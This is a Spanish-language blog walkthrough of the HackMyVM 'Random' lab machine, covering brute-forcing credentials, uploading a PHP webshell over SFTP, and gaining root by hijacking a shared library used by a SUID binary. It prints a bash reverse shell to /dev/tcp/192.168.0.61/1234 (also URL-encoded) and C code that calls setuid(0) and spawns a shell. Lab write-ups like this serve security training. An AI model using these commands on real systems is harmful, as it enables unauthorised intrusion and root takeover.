HackMyVM Random — Linux

Gm4tsyGm4tsy
5 min read

Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.

Descargamos el archivo de la página https://hackmyvm.eu/machines/

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.

Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan para ver la dirección IP en nuestra red que sería la 192.168.0.18.

Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.

Empezamos con un escaneo de puertos y podemos ver que tenemos 3 puertos.

Al realizar un escaneo más profundo vemos que para el servicio FTP podemos acceder empleando un usuario anónimo.

Ingresando al servicio FTP podemos observar un directorio html, pero no podemos acceder.

Ya que no tenemos más por ese servicio, En el navegador ingresamos la dirección IP y podemos observar que tenemos un texto, del cual podemos identificar 2 posibles usuarios.

Probamos con fuerza bruta tanto para eleanor y alan para el servicio de SSH y podemos observar que tenemos las credenciales.

Recordemos que si bien tenemos las credenciales no podemos acceder porque el servicio está deshabilitado para eleanor. Así que probamos usando el servicio FTP con esas credenciales. De esta manera si podemos acceder dentro de la carpeta html.

Para probar si podemos subir un archivo y si interpreta PHP crearemos un archivo PHP.

Probamos subiéndolo, pero nos da un error.

Ya que no tenemos opción, probamos conectándonos por sftp y de esta manera si podemos subir el archivo.

Vamos al navegador e ingresamos la dirección del archivo vemos que si lo interpreta, así también podemos tener ya una vía para obtener acceso.

Para este paso empleamos una reverse-shell que podemos obtener en pentestmonkey.

Iniciamos nuestro listener.

Subimos el archivo que modificamos.

Al abrir el rvshell, vemos que no tenemos acceso.

Probaremos subiendo una webshell simple.

Luego de subir este archivo, vamos al navegador y agregamos la dirección junto con el parámetro y podemos observar que tenemos respuesta.

Ahora agregamos la revshell al URL para poder obtener acceso nuestro código sería:

bash -c \ "bash -i >& /dev/tcp/192.168.0.61/1234 0>&1\ "'

Pero no podemos enviarlo así, ya que suele dar errores en muchas ocasiones por ello lo URL encodeamos y tendríamos de la siguiente manera

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.61%2F1234%200%3E%261%22

Enviamos el comando y la página quedará recargando lo cual es una buena señal.

Vamos a nuestro listener y podemos observar que sí obtuvimos conexión.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

script /dev/null -c bash

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola.

Listamos los archivos temporales, pero no vemos nada.

Revisando los permisos SUID vemos que tenemos un binario llamado random.

Ejecutamos el binario y podemos ver que tenemos que ingresar un valor.

Probamos ejecutando código aleatorio para tener una bash, pero como se ejecuta como el usuario seguimos siendo este. Para tener más idea de como funciona visitar el siguiente link arbitrary code.

Para ver más información del archivo lo pasaremos a nuestra máquina para revisarlo. Por ello iniciamos un servidor.

En nuestra consola, lo descargamos.

Abrimos con Ghidra y podemos observar que compara el número ingresado por el usuario con un valor generado aleatoriamente. El valor aleatorio se genera usando la función rand(), y luego se compara con el número ingresado. Si coinciden, se llama a la función makemeroot().

Tratando de obtener más información vemos que tenemos lo siguiente que podemos ver que hace referencia a que es la librería rooter o algo por el estilo, coincidiendo con la función makemeroot.

Buscando el archivo y revisando sus permisos podemos observar que podemos reemplazarlo.

Antes de reemplazarlo verificamos si tenemos gcc y es positivo.

Ahora creamos un archivo, pero debemos tomar en cuenta que debe llamar a la

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h> 

void makemeroot()
{
   setuid(0);
   setgid(0);
   system("/bin/bash");
}

Compilamos nuestro archivo y le colocamos el mismo nombre del binario, pero no podemos compilar debido a que nos falta un enlazador o librería compartida.

Entonces crearemos el binario en nuestra máquina y luego iniciaremos nuestro servidor.

Ahora solo descargamos en el mismo directorio.

Ejecutamos el binario varias veces, ya que el valor es un número es aleatorio entre el 1 y 9 luego de probar con varios números obtenemos el root. De esta manera culminando esta máquina.

0
Subscribe to my newsletter

Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Gm4tsy
Gm4tsy